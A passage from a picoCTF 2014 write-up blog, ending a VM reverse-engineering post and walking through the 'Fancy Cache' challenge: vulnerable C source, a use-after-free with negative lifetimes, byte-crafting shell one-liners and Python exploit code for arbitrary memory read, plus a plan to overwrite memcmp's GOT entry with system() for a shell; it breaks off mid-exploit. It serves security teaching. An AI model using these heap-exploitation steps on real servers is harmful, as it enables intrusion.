<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) break *0x8049A23
Breakpoint 3 at 0x8049a23
(gdb) break *0x8049A57
Breakpoint 4 at 0x8049a57
(gdb) cont
Continuing.
Breakpoint 4, 0x08049a57 in ?? ()
(gdb)
</code></pre>
<br />
Alright, we end up getting to 0x08049a57. We should first dump the data ipos points to:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) x $ebp-0x34
0xffffd644: 0x00001a79
(gdb) x/16xb 0x0804db39
0x804db39: </code><code style="word-wrap: normal;"><span style="color: red;">0x18 0x01 0x00 0x6c 0x00 0x00 0x00</span></code><code style="color: black; word-wrap: normal;"> 0x0f
0x804db41: 0x3f 0x10 0x00 0x00 0x18 0x01 0x00 0x65
(gdb)
</code></pre>
<br />
The data highlighted in red is the actual MOV instruction. Here we see 0x18, the opcode, 0x01, which is used to decide the case, a 0x00 byte, and the 4-byte value 0x6c (little endian). 0x6c is simply the ASCII code for the letter "l", so this is almost certainly loading the next character to print. Now that we know the data, how will the function play out?<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08049A57 loc_8049A57: ; CODE XREF: sub_804898B+1094 j
.text:08049A57 mov eax, [ebp+ipos]
.text:08049A5A add eax, 2
.text:08049A5D movzx eax, byte_804C0C0[eax]
.text:08049A64 movsx eax, al
.text:08049A67 mov edx, [ebp+ipos]
.text:08049A6A add edx, 3
.text:08049A6D add edx, offset byte_804C0C0
.text:08049A73 mov edx, [edx]
.text:08049A75 mov [ebp+eax*4+var_B4], edx
.text:08049A7C add [ebp+ipos], 7
.text:08049A80 nop
</code></pre>
<br />
It loads the third byte of our instruction, which will be 0x00. Then it loads the 4-byte value after that, which is 0x6c. Finally, it loads that value into [ebp-0xb4+eax], which is just [ebp-0xb4] in this case. Recall that [ebp-0xb4] contained the argument given to print_char. However, it turns out that ebp-0xb4 is not just the address of one 4-byte value, but an entire array of them. Depending on the third byte, the MOV instruction can write to any index of this array. MOV usually loads values into registers, so it would appear that ebp-0xb4 is a register area for the VM bytecode. And if ebp-0xb4 is a register area, this means that the I/O opcode always passes the value of the first register as an argument to whichever I/O function is called.<br />
<br />
Now we've figured out a lot more about how data is accessed inside the VM. Knowing about both the register and stack implementations makes it very easy to figure out the rest of the instructions. Since this article is already quite long, we'll pick this back up in <a href="http://marionumber1.blogspot.com/2014/12/picoctf-2014-baleful-re200-part-2.html">part 2</a>. In the second part of this write-up, we'll figure out the rest of the instructions, write a disassembler for the bytecode, and then reverse engineer the bytecode to get the flag.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-60655673241085216742014-11-15T01:07:00.000-03:002016-04-16T19:28:39.375-04:00picoCTF 2014: Fancy Cache (binary200)Fancy Cache is a binary exploitation problem centered around a cache program, which allows string data to be stored and searched for using a key. The actual exploit has to land on a remote server, <a href="vuln2014.picoctf.com:4548">vuln2014.picoctf.com:4548</a>, so a Python client is generously provided. There's also a binary available for local testing, and of course, we get the source code too. According to the problem description, both NX and ASLR are enabled, so we can't run shellcode or easily get stack, heap, or library addresses. We'll have to contend with both of these if we want to have a successful exploit and get shell access. So let's get started!<br />
<br />
Even before we get to the main() function, there's something in the code that gives us an idea of how to tackle this problem:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> // The goal of this challenge is to get a shell. Since this machine has
// ASLR enabled, a good first step is to get the ability to read memory
// from the server. Once you have that working, read this string for a
// (flag|hint next steps).
const char *kSecretString = "[REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED]";
</code></pre>
<br />
This string's contents are present on the remote binary, but are removed from the source code and provided binary. The comment above says that the string either contains the flag or a hint for how to proceed. It tells us to get the ability to read arbitrary memory and try that on the remote server. Let's push ahead and look at main().<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> int main(int argc, char **argv) {
int rc;
uint8_t command;
fprintf(stderr, "Cache server starting up (secret = %s)\n", kSecretString);
while (1) {
if (read(STDIN_FILENO, &command, 1) != 1) {
exit(1);
}
switch (command) {
case CACHE_GET:
do_cache_get();
break;
case CACHE_SET:
do_cache_set();
break;
default:
// Invalid command.
return 1;
break;
}
}
return 0;
}
</code></pre>
<br />
Pretty simple main() function. It goes into an infinite loop of reading commands from stdin and handling them. It just reads a single byte from stdin, and this can either be 0 (get an entry from the cache) or 1 (set an entry in the cache). Any other value just terminates the program.<br />
<br />
Before looking at the actual cache functions, there are several important utility functions to understand first. Several of these implement a custom string structure, which the problem description says is for "extra security". Let's see how well that works:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> struct string {
size_t length;
size_t capacity;
char *data;
};
void *xmalloc(size_t size) {
void *ptr = malloc(size);
if (ptr == NULL) {
perror("malloc");
exit(1);
}
return ptr;
}
void *xrealloc(void *ptr, size_t size) {
void *newptr = realloc(ptr, size);
if (newptr == NULL) {
perror("realloc");
exit(1);
}
return newptr;
}
// Initializes a struct string to an empty string.
void string_init(struct string *str) {
str->length = 0;
str->capacity = 0;
str->data = NULL;
}
// Returns an empty string.
struct string *string_create(void) {
struct string *str = xmalloc(sizeof(*str));
fprintf(stderr, "malloc(%zu) = %p (string_create)\n", sizeof(*str), str);
string_init(str);
return str;
}
// Frees a string.
void string_destroy(struct string *str) {
fprintf(stderr, "free(%p) (string_destroy str)\n", str);
free(str);
}
// Returns 1 if the two strings are equal and 0 otherwise.
int string_eq(struct string *a, struct string *b) {
if (a->length != b->length) {
return 0;
}
return memcmp(a->data, b->data, a->length) == 0;
}
// Reads a string into an existing struct string.
void read_into_string(struct string *str) {
size_t length;
read(STDIN_FILENO, &length, sizeof(length));
str->length = length;
if (length > str->capacity) {
char *old_data = str->data;
str->data = xrealloc(old_data, length);
fprintf(stderr, "realloc(%p, %zu) = %p (read_into_string)\n", old_data, length, str->data);
str->capacity = length;
}
read(STDIN_FILENO, str->data, length);
}
int read_int(void) {
int value;
read(STDIN_FILENO, &value, sizeof(value));
return value;
}
void write_string(struct string *str) {
write(STDOUT_FILENO, &str->length, sizeof(str->length));
write(STDOUT_FILENO, str->data, str->length);
}
</code></pre>
<br />
All of these functions are simple, but essential to understand, so I'll run through all of them:<br />
<ul>
<li><b>string_init()</b> puts default initial values into a string structure.</li>
<li><b>string_create()</b> allocates a string structure calls string_init() on it. It also prints a log of allocations to stderr.</li>
<li><b>string_destroy()</b> frees a string structure, but doesn't clear the data buffer it uses.</li>
<li><b>string_eq()</b> compares two string structures, comparing lengths and then using memcmp().</li>
<li><b>read_string()</b> reads string data from stdin into an existing string struct. It first asks us for how long the string is. Then it reads the number of bytes we specify from stdin.</li>
<li><b>read_int()</b> is not a function for the string struct; it reads four bytes from stdin and returns it as a signed integer.</li>
<li><b>write_string()</b> writes a string struct's length to stdout, followed by the string itself.</li>
</ul>
<div>
Now that we've got the utility functions down, we can look at the cache functions themselves.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> struct cache_entry {
struct string *key;
struct string *value;
// The cache entry expires after it has been looked up this many times.
int lifetime;
};
const size_t kCacheSize = 32;
const uint8_t kNotFound = 0x0;
const uint8_t kFound = 0x1;
const uint8_t kCacheFull = 0x2;
struct cache_entry cache[32];
size_t num_cache_entries = 0;
struct cache_entry *cache_lookup(struct string *key) {
size_t i;
for (i = 0; i < kCacheSize; ++i) {
struct cache_entry *entry = &cache[i];
// Skip expired cache entries.
if (entry->lifetime == 0) {
continue;
}
if (string_eq(entry->key, key)) {
return entry;
}
}
return NULL;
}
struct cache_entry *find_free_slot(void) {
size_t i;
for (i = 0; i < kCacheSize; ++i) {
if (cache[i].lifetime == 0) {
return &cache[i];
}
}
return NULL;
}
void do_cache_get(void) {
struct string key;
string_init(&key);
read_into_string(&key);
struct cache_entry *entry = cache_lookup(&key);
if (entry == NULL) {
write(STDOUT_FILENO, &kNotFound, sizeof(kNotFound));
return;
}
write(STDOUT_FILENO, &kFound, sizeof(kFound));
write_string(entry->value);
--entry->lifetime;
if (entry->lifetime <= 0) {
// The cache entry is now expired.
fprintf(stderr, "Destroying key\n");
string_destroy(entry->key);
fprintf(stderr, "Destroying value\n");
string_destroy(entry->value);
}
}
void do_cache_set(void) {
struct string *key = string_create();
read_into_string(key);
struct cache_entry *entry = cache_lookup(key);
if (entry == NULL) {
// There's no existing entry for this key. Find a free slot to put
// a new entry in.
entry = find_free_slot();
}
if (entry == NULL) {
// No free slots, tell the client the cache is full :-(
write(STDOUT_FILENO, &kCacheFull, sizeof(kCacheFull));
return;
}
write(STDOUT_FILENO, &kFound, sizeof(kFound));
entry->key = key;
if (entry->value == NULL) {
entry->value = string_create();
}
read_into_string(entry->value);
entry->lifetime = read_int();
}
</code></pre>
<br />
Again, I'll list out each of the functions and describe them. This time, though, it's important to look at the functions carefully:<br />
<br />
<ul>
<li>The cache itself is an array of 32 structures. Each structure has a pointer to the string struct containing the key, a pointer to the string struct containing the value, and a lifetime. The lifetime is a signed integer saying how many more times the entry can be looked up.</li>
<li><b>cache_lookup()</b> finds an existing cache entry by name. It iterates through the entire cache array, skipping expired entries (whose lifetime values equal 0) and comparing their keys to the searched key using string_eq(). If it finds a match, it returns it; otherwise it returns a NULL pointer.</li>
<li><b>find_free_slot()</b>, as its name implies, looks for a free entry in the cache. Its criterion for "free" is that the cache's lifetime equals 0.</li>
<li><b>do_cache_get()</b> implements cache lookups, and is one of the functions called from main(). It uses read_into_string() to get the key from stdin, and then calls cache_lookup() to look up the entry. Assuming the lookup succeeds, it prints out the entry's value and then decreases the lifetime by one. If the lifetime has hit or gone below 0, it calls string_destroy() on both the key and the value of the entry.</li>
<li>Likewise, <b>do_cache_set()</b> implements modifying cache entries. The key to use is once again entered in on stdin. It tries to use an existing entry under that name, but if that fails, it'll just allocate a new entry with find_free_slot(). Then the function allocates a new string struct for the value if the entry doesn't already have one, and reads the data in using read_into_string(). Finally, it reads the entry's lifetime from stdin with read_into_int().</li>
</ul>
<div>
These functions might look fairly innocuous, but there are actually two major bugs hidden in the code above:</div>
<div>
<ul>
<li>Destroyed cache entries do not have their contents removed. do_cache_get() doesn't do a very thorough job of actually destroying the cache entries. The data itself remains untouched, leaving two string struct pointers completely accessible. Since the strings were destroyed, they're pointing at unallocated heap memory. This is a classic <b>use-after-free</b> vulnerability. However, only expired entries get destroyed, and so they won't be made accessible to us again.</li>
<li>Sloppy handling of the cache entry lifetime. do_cache_set() uses read_into_int() to get the cache entry's lifetime. That function returns <b>signed</b> int values, which can be negative. What happens if we provide a lifetime of 0? Once we look up the cache entry, our lifetime becomes -1. Fine, exept there's a discrepancy between two of the functions. do_cache_get() destroys entries if their lifetime is <b>less than or equal</b> to 0, but the lookup functions only treat entries with lifetimes <b>equal</b> to 0 as expired. So entries with negatives lifetimes can still be looked up. This fixes the problem described above.</li>
</ul>
<div>
Thanks to the combination of these bugs, we now have a use-after-free scenario on our hands. How does that help us? Think about the behavior of malloc(). If we allocate a 12 byte buffer, free that buffer, and then allocate another 12 bytes, we're most likely getting our original buffer back. The same thing happens if we free a cache entry and allocate a new one. String structs and string buffers will get allocated in place of the old entry's string structs.<br />
<br />
We can control the contents of the string buffers, and by extension control an entire string struct. Recall the string structure's definition:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> struct string {
size_t length;
size_t capacity;
char *data;
};
</code></pre>
<br />
It has a length, a capacity, and a data pointer. We can set this pointer to whatever arbitrary data we want to read, and perform a do_cache_get() to get it printed out. Similarly, we can call do_cache_set() and write arbitrary memory.<br />
<br />
Now that we have the bug, it's all about setting it up correctly, which was a major part of making the exploit. The local binary helpfully logs all malloc()s, realloc()s, and free()s to stderr, so lets try allocating two entries and then freeing them, while seeing how the heap changes.<br />
<br />
(Side note: why two entries? If you allocate a single entry, four heap allocations are made: key struct, key data, value struct, and value entry. string_destroy(), however, only destroys the string structs, leaving data buffers allocated. So within one cache entry, destroying it would only open up two of the four needed spaces. That's why we need two cache entries.)<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~/fancy_cache$ { echo -n -e "\x01"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo
-n -e "key1"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "val1"; sleep 1; echo -n -e "\xff
\xff\xff\xff"; sleep 1; echo -n -e "\x01"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "key2
"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "val2"; sleep 1; echo -n -e "\xff\xff\xff\xff
"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "key2"; sleep 1;
echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n -e "key1"; sleep 1; } | ./fan
cy_cache
Cache server starting up (secret = [REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT
ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED
ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED
REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT
ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED
ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED
REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT
ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED
ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED])
malloc(12) = 0x804c008 (string_create)
realloc((nil), 4) = 0x804c018 (read_into_string)
malloc(12) = 0x804c028 (string_create)
realloc((nil), 4) = 0x804c038 (read_into_string)
malloc(12) = 0x804c048 (string_create)
realloc((nil), 4) = 0x804c058 (read_into_string)
malloc(12) = 0x804c068 (string_create)
realloc((nil), 4) = 0x804c078 (read_into_string)
realloc((nil), 4) = 0x804c088 (read_into_string)
val2Destroying key
free(0x804c048) (string_destroy str)
Destroying value
free(0x804c068) (string_destroy str)
realloc((nil), 4) = 0x804c068 (read_into_string)
val1Destroying key
free(0x804c008) (string_destroy str)
Destroying value
free(0x804c028) (string_destroy str)
pico59150@shell:~/fancy_cache$
</code></pre>
<br />
I create two entries, then destroy the second entry followed by the first one. The heap allocations logs do tell us what's going on, but reading it as text still wasn't very helpful. I personally had to draw diagrams of the heap on a sheet of paper to understand what I had to do.<br />
<br />
<div style="text-align: center;">
<b>Allocated entry 1</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-XbcZGnelAhI/VGgSYSMUl2I/AAAAAAAAAMw/0G5FpMdE2Ms/s1600/alloc1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="https://2.bp.blogspot.com/-XbcZGnelAhI/VGgSYSMUl2I/AAAAAAAAAMw/0G5FpMdE2Ms/s1600/alloc1.png" width="400" /></a></div>
<div style="text-align: center;">
<b>Allocated entry 2</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-4Mry08uulG8/VGgSYPL8nWI/AAAAAAAAAM0/rmEYMgtx57o/s1600/alloc2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="https://1.bp.blogspot.com/-4Mry08uulG8/VGgSYPL8nWI/AAAAAAAAAM0/rmEYMgtx57o/s1600/alloc2.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Freed entry 2</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-xJS263oxP1E/VGgSY--TxWI/AAAAAAAAAM4/RYDkWsTtnsI/s1600/free2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="https://4.bp.blogspot.com/-xJS263oxP1E/VGgSY--TxWI/AAAAAAAAAM4/RYDkWsTtnsI/s1600/free2.png" width="400" /></a></div>
<div style="text-align: center;">
<b>Freed entry 1</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-swdknBBespM/VGgSYPHVqPI/AAAAAAAAAMs/L_al4xbj0Hc/s1600/free1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="https://1.bp.blogspot.com/-swdknBBespM/VGgSYPHVqPI/AAAAAAAAAMs/L_al4xbj0Hc/s1600/free1.png" width="400" /></a></div>
Now what happens if we allocate another entry? We don't even have to test it out (though you can, and I did initially), since it's possible to predict it based on the heap algorithm used (return most recently freed blocks). It would look like this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-UM2U6V6yNQE/VGgU777AJcI/AAAAAAAAANY/cV56f5QG0KM/s1600/alloc3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="https://2.bp.blogspot.com/-UM2U6V6yNQE/VGgU777AJcI/AAAAAAAAANY/cV56f5QG0KM/s1600/alloc3.png" width="400" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: left;">
The data of entry 3's key gets treated as a string struct for entry 1's key, so entry 1 is looked up through whatever it points to as a string struct.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Similarly, the string struct for entry 3's value gets treated as a string struct for entry 2's key, meaning entry 2 gets looked up through the value of entry 3.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Finally, the key of entry 1, which we entered to destroy it, becomes entry 2's value string struct. This is the most important part, and means that whatever entry 1's key is gets treated as a string struct to look up entry 2's value. We can control that and read any arbitrary data we want!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's try reading kSecretString, first locally and next on the remote server. Setting a GDB breakpoint on main, right before kSecretString is printed, reveals its location as 0x08048bc8. Now let's send the sequence of commands we need to set up the heap correctly and print kSecretString.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
</div>
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~/fancy_cache$ { echo -n -e "\x01"; sleep 1; echo -n -e "\x0c\x00\x00\x00"; sleep 1; echo
-n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep
1; echo -n "val1"; sleep 1; echo -n -e "\xff\xff\xff\xff"; sleep 1; echo -n -e "\x01"; sleep 1; echo -n -
e "\x04\x00\x00\x00"; sleep 1; echo -n "key2"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "
val2"; sleep 1; echo -n -e "\x01\x00\x00\x80"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\
x00\x00"; sleep 1; echo -n "key2"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x0c\x00\x00\x00"; sl
eep 1; echo -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08"; sleep 1; echo -n -e "\x01"; sleep 1
; echo -n -e "\x0c\x00\x00\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc9\x8b\x04\x08";
sleep 1; echo -n -e "\x05\x00\x00\x00"; sleep 1; echo -n -e "keey3"; sleep 1; echo -n -e "\x05\x00\x00\x0
0"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x05\x00\x00\x00"; sleep 1; echo -n -e "keey3"; } |
./fancy_cache
Cache server starting up (secret = [REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT
ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED
ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED
REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT
ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED
ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED
REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT
ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED
ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED])
malloc(12) = 0x804c008 (string_create)
realloc((nil), 12) = 0x804c018 (read_into_string)
malloc(12) = 0x804c028 (string_create)
realloc((nil), 4) = 0x804c038 (read_into_string)
malloc(12) = 0x804c048 (string_create)
realloc((nil), 4) = 0x804c058 (read_into_string)
malloc(12) = 0x804c068 (string_create)
realloc((nil), 4) = 0x804c078 (read_into_string)
realloc((nil), 4) = 0x804c088 (read_into_string)
val2Destroying key
free(0x804c048) (string_destroy str)
Destroying value
free(0x804c068) (string_destroy str)
realloc((nil), 12) = 0x804c068 (read_into_string)
val1Destroying key
free(0x804c008) (string_destroy str)
Destroying value
free(0x804c028) (string_destroy str)
malloc(12) = 0x804c028 (string_create)
realloc((nil), 12) = 0x804c008 (read_into_string)
malloc(12) = 0x804c048 (string_create)
realloc((nil), 5) = 0x804c098 (read_into_string)
realloc((nil), 5) = 0x804c0a8 (read_into_string)
[REDpico59150@shell:~/fancy_cache$
</code></pre>
<br />
Success! Now we can try modifying the Python client to do the same thing to the remote server. I inserted this in the script after it connects to the remote server:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> # Add two entries to the cache
cache_set(f, "\x10\x01\x00\x00\x10\x01\x00\x00\xc8\x8b\x04\x08", "val1", 0xffffffff)
cache_set(f, "key2", "val2", 0xffffffff)
# Look up the second and then first entry, deleting both of them
cache_get(f, "key2")
cache_get(f, "\x10\x01\x00\x00\x10\x01\x00\x00\xc8\x8b\x04\x08")
# Add a new entry to begin the exploit
cache_set(f, "anything", "keey3", 5)
# Read the data
print(cache_get(f, "keey3"))
</code></pre>
<br />
As you can see, entry 1's key represents a string struct. The length and capacity are both 0x110, while the pointer is to 0x08048bc8, the address of kSecretString. Run the Python script and we get this sent back from the server:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> Congratulations! Looks like you figured out how to read memory. This can can be a useful tool for defeating ASLR :-) Head over to https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html for some hints on how to go from what you have to a shell!
</code></pre>
<br />
Yay, we got it to land on the remote server! Now it gives us the actual hint, not just "REDACTED" over and over again. More than just a hint, <a href="https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html">https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html</a> basically says exactly how to complete the problem. I'll summarize the steps here:<br />
<br />
<ul>
<li><b>Read the address of memcmp() from the GOT</b>. Since the GOT is a part of our binary, ASLR does not apply to it, and it will always be at the same place. Specifically, memcmp()'s GOT entry is at 0x0804b014.</li>
<li>Subtract the memcmp() address from memcmp()'s offset in libc to <b>calculate the libc base</b> address. This effectively defeats ASLR. The offset of memcmp() is 0x142870.</li>
<li>Add the offset of system() to the libc base address to <b>get the address of system()</b>. system()'s offset within the provided libc is 0x40100.</li>
<li><b>Write system()'s address back into the GOT</b>, in place of memcmp()'s entry. We'll need to extend the exploit to add write support, which isn't too hard.</li>
<li><b>Trigger a memcmp() call that uses "/bin/sh" as an argument</b>. memcmp() is only used in string_eq(), comparing entry key's to searched keys, so we need an entry with that value.</li>
</ul>
<div>
Afterwards, we'll have a shell that we can use to get the flag! First thing I did was move the memory read into a dedicated function and modify it to return a single 32-bit value:</div>
<div>
<br /></div>
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> def read_mem(f, address):
# Add two entries to the cache
cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address, "val1", 0xffffffff)
cache_set(f, "key2", "val2", 0xffffffff)
# Look up the second and then first entry, deleting both of them
cache_get(f, "key2")
cache_get(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address)
# Add a new entry to begin the exploit
cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08", "keey3", 5)
# Read the data
return unpack4(cache_get(f, "keey3"))
</code></pre>
<div>
<br />
